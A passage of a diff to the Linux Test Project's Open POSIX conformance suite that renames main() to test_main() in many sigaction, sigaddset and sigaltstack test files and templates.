b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/8-15.c @@ -36,7 +36,7 @@ static void SIGTTIN_handler(int signo PTS_ATTRIBUTE_UNUSED) } } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/8-16.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/8-16.c index 755b88d9..17854009 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/8-16.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/8-16.c @@ -36,7 +36,7 @@ static void SIGTTOU_handler(int signo PTS_ATTRIBUTE_UNUSED) } } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/8-17.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/8-17.c index c7a603c5..5dfe152a 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/8-17.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/8-17.c @@ -36,7 +36,7 @@ static void SIGUSR1_handler(int signo PTS_ATTRIBUTE_UNUSED) } } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/8-18.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/8-18.c index c5c4d665..7121ceb4 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/8-18.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/8-18.c @@ -36,7 +36,7 @@ static void SIGUSR2_handler(int signo PTS_ATTRIBUTE_UNUSED) } } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/8-19.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/8-19.c index f67ea540..0cd970d6 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/8-19.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/8-19.c @@ -34,7 +34,7 @@ static void SIGUSR1_handler(int signo PTS_ATTRIBUTE_UNUSED) } } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/8-2.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/8-2.c index af19bab2..69120794 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/8-2.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/8-2.c @@ -36,7 +36,7 @@ static void SIGUSR2_handler(int signo PTS_ATTRIBUTE_UNUSED) } } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/8-20.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/8-20.c index edf80952..1d9a7886 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/8-20.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/8-20.c @@ -36,7 +36,7 @@ static void SIGPROF_handler(int signo PTS_ATTRIBUTE_UNUSED) } } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/8-21.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/8-21.c index 8118c99f..be254bba 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/8-21.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/8-21.c @@ -36,7 +36,7 @@ static void SIGSYS_handler(int signo PTS_ATTRIBUTE_UNUSED) } } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/8-22.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/8-22.c index 7ca6a715..7e17be18 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/8-22.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/8-22.c @@ -36,7 +36,7 @@ static void SIGTRAP_handler(int signo PTS_ATTRIBUTE_UNUSED) } } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/8-23.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/8-23.c index a04db170..02af19f9 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/8-23.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/8-23.c @@ -36,7 +36,7 @@ static void SIGURG_handler(int signo PTS_ATTRIBUTE_UNUSED) } } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/8-24.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/8-24.c index f343eb9d..c8a3a771 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/8-24.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/8-24.c @@ -36,7 +36,7 @@ static void SIGVTALRM_handler(int signo PTS_ATTRIBUTE_UNUSED) } } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/8-25.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/8-25.c index 0688e594..35cf0096 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/8-25.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/8-25.c @@ -36,7 +36,7 @@ static void SIGXCPU_handler(int signo PTS_ATTRIBUTE_UNUSED) } } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/8-26.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/8-26.c index 81878cd7..af7e4a66 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/8-26.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/8-26.c @@ -36,7 +36,7 @@ static void SIGXFSZ_handler(int signo PTS_ATTRIBUTE_UNUSED) } } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/8-3.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/8-3.c index 2f78ec9b..29c775a7 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/8-3.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/8-3.c @@ -36,7 +36,7 @@ static void SIGBUS_handler(int signo PTS_ATTRIBUTE_UNUSED) } } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/8-4.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/8-4.c index c5a2f5df..78bcb9b4 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/8-4.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/8-4.c @@ -36,7 +36,7 @@ static void SIGCHLD_handler(int signo PTS_ATTRIBUTE_UNUSED) } } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/8-5.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/8-5.c index 018d94bc..a42a79fe 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/8-5.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/8-5.c @@ -36,7 +36,7 @@ static void SIGCONT_handler(int signo PTS_ATTRIBUTE_UNUSED) } } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/8-6.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/8-6.c index fab686b3..b0eec29c 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/8-6.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/8-6.c @@ -36,7 +36,7 @@ static void SIGFPE_handler(int signo PTS_ATTRIBUTE_UNUSED) } } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/8-7.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/8-7.c index 119f8fdb..1e63c134 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/8-7.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/8-7.c @@ -36,7 +36,7 @@ static void SIGHUP_handler(int signo PTS_ATTRIBUTE_UNUSED) } } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/8-8.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/8-8.c index bd887ded..84977a00 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/8-8.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/8-8.c @@ -36,7 +36,7 @@ static void SIGILL_handler(int signo PTS_ATTRIBUTE_UNUSED) } } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/8-9.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/8-9.c index 0601917a..d9a858a5 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/8-9.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/8-9.c @@ -36,7 +36,7 @@ static void SIGINT_handler(int signo PTS_ATTRIBUTE_UNUSED) } } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/9-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/9-1.c index dc3200ea..d99b5763 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/9-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/9-1.c @@ -40,7 +40,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED, siginfo_t *info, } } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { pid_t pid; struct sigaction act; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/templates/template_1-1.in b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/templates/template_1-1.in index 62a6bf7f..60bdded2 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/templates/template_1-1.in +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/templates/template_1-1.in @@ -30,7 +30,7 @@ static void handler(int signo) handler_called = 1; } -int main() +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/templates/template_12-1.in b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/templates/template_12-1.in index 6a62b09d..12a103ae 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/templates/template_12-1.in +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/templates/template_12-1.in @@ -42,7 +42,7 @@ static void handler(int signo) } } -int main() +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/templates/template_12-2.in b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/templates/template_12-2.in index 25867c5f..413ebfc7 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/templates/template_12-2.in +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/templates/template_12-2.in @@ -40,7 +40,7 @@ static void handler(int signo) } } -int main() +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/templates/template_13-1.in b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/templates/template_13-1.in index 362246cf..8deafd15 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/templates/template_13-1.in +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/templates/template_13-1.in @@ -41,7 +41,7 @@ static void handler(int signo) } } -int main() +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/templates/template_16-1.in b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/templates/template_16-1.in index 6868f57b..cba7fe54 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/templates/template_16-1.in +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/templates/template_16-1.in @@ -122,7 +122,7 @@ void * threaded ( void * arg ) } /* main function */ -int main() +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int ret; pthread_t child; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/templates/template_17-1.in b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/templates/template_17-1.in index ab193c1c..16beb3c0 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/templates/template_17-1.in +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/templates/template_17-1.in @@ -33,7 +33,7 @@ static void handler(int signo) wakeup++; } -int main() +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { pid_t pid; struct timeval tv; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/templates/template_18-1.in b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/templates/template_18-1.in index 8d39483d..9b028f68 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/templates/template_18-1.in +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/templates/template_18-1.in @@ -48,7 +48,7 @@ static void handler() called = 1; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int ret; struct sigaction sa; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/templates/template_19-1.in b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/templates/template_19-1.in index b90f3e96..a1d806ef 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/templates/template_19-1.in +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/templates/template_19-1.in @@ -57,7 +57,7 @@ static void handler(int sig, siginfo_t *info, void *context) called = 1; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int ret; long rts; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/templates/template_2-1.in b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/templates/template_2-1.in index 7d81dded..e01fb053 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/templates/template_2-1.in +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/templates/template_2-1.in @@ -31,7 +31,7 @@ static void handler2(int signo) { } -int main() +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; struct sigaction oact; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/templates/template_22-1.in b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/templates/template_22-1.in index 87e64e9f..ed300205 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/templates/template_22-1.in +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/templates/template_22-1.in @@ -58,7 +58,7 @@ static void handler(int signo) inside_handler--; } -int main() +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { if (fork() == 0) { /* child */ diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/templates/template_23-1.in b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/templates/template_23-1.in index 97acd429..b2caf5cc 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/templates/template_23-1.in +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/templates/template_23-1.in @@ -124,7 +124,7 @@ static void handler( int sig ) } /* main function */ -int main() +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int ret; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/templates/template_25-1.in b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/templates/template_25-1.in index 4b981c0c..4bd887ae 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/templates/template_25-1.in +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/templates/template_25-1.in @@ -57,7 +57,7 @@ static void handler(int signo) inside_handler--; } -int main() +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { if (fork() == 0) { /* child */ diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/templates/template_28-1.in b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/templates/template_28-1.in index 35f2fb84..4a966ac3 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/templates/template_28-1.in +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/templates/template_28-1.in @@ -54,7 +54,7 @@ static void handler_2() called--; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int ret; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/templates/template_3-1.in b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/templates/template_3-1.in index 11fab314..45d310b5 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/templates/template_3-1.in +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/templates/template_3-1.in @@ -29,7 +29,7 @@ static void handler(int signo) handler_called = 1; } -int main() +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; struct sigaction oact; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/templates/template_4-1.in b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/templates/template_4-1.in index 14a9e2f8..2d8cd197 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/templates/template_4-1.in +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/templates/template_4-1.in @@ -35,7 +35,7 @@ static void handler(int signo) exit(0); } -int main() +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { if (fork() == 0) { /* child */ diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/templates/template_4-2.in b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/templates/template_4-2.in index 6a5fcc81..46fa0c16 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/templates/template_4-2.in +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/templates/template_4-2.in @@ -38,7 +38,7 @@ static void handler(int signo) exit(0); } -int main() +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { pid_t pid; if ((pid = fork()) == 0) { diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/templates/template_4-3.in b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/templates/template_4-3.in index 842d96a6..f083523a 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/templates/template_4-3.in +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/templates/template_4-3.in @@ -22,7 +22,7 @@ static void handler(int signo) { } -int main() +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/templates/template_4-4.in b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/templates/template_4-4.in index de0f20a6..f7554c98 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/templates/template_4-4.in +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/templates/template_4-4.in @@ -22,7 +22,7 @@ static void handler(int signo) { } -int main() +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/templates/template_6-1.in b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/templates/template_6-1.in index 15464a0a..15cceb46 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/templates/template_6-1.in +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/templates/template_6-1.in @@ -25,7 +25,7 @@ static void handler(int signo, siginfo_t *info, void *context) handler_called = 1; } -int main() +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/templates/template_8-1.in b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/templates/template_8-1.in index ab065993..efb3af21 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/templates/template_8-1.in +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/templates/template_8-1.in @@ -36,7 +36,7 @@ void %%MYSIG%%_handler(int signo) } } -int main() +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaddset/1-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaddset/1-1.c index e33acd2c..68c258ea 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaddset/1-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaddset/1-1.c @@ -17,7 +17,7 @@ #include <signal.h> #include "posixtest.h" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { sigset_t signalset; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaddset/1-2.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaddset/1-2.c index 88ff762a..e3f3bf79 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaddset/1-2.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaddset/1-2.c @@ -17,7 +17,7 @@ #include <signal.h> #include "posixtest.h" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { sigset_t signalset; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaddset/1-3.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaddset/1-3.c index bb80da7e..672ddbd7 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaddset/1-3.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaddset/1-3.c @@ -28,7 +28,7 @@ static const int sigs[] = { SIGURG, }; -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { sigset_t signalset; unsigned int i; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaddset/2-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaddset/2-1.c index 99a2e0f5..6fa66d86 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaddset/2-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaddset/2-1.c @@ -16,7 +16,7 @@ #include <signal.h> #include "posixtest.h" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { sigset_t signalset; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaddset/4-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaddset/4-1.c index 422c7a48..142fab5b 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaddset/4-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaddset/4-1.c @@ -22,7 +22,7 @@ static const int sigs[] = {-1, -10000, INT32_MIN, INT32_MIN + 1}; -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { sigset_t signalset; int ret, err = 0; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaltstack/1-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaltstack/1-1.c index f744191d..6e66bfd9 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaltstack/1-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaltstack/1-1.c @@ -42,7 +42,7 @@ static void handler() } } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaltstack/10-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaltstack/10-1.c index 5d1729f3..2207797e 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaltstack/10-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaltstack/10-1.c @@ -24,7 +24,7 @@ static void handler() printf("Just a dummy handler\n"); } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaltstack/11-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaltstack/11-1.c index fee06067..31f5ee3a 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaltstack/11-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaltstack/11-1.c @@ -33,7 +33,7 @@ static void handler() printf("Just a dummy handler\n"); } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaltstack/12-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaltstack/12-1.c index c0bd0bdd..65af98d0 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaltstack/12-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaltstack/12-1.c @@ -33,7 +33,7 @@ static void handler() printf("Just a dummy handler\n"); } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; diff --git 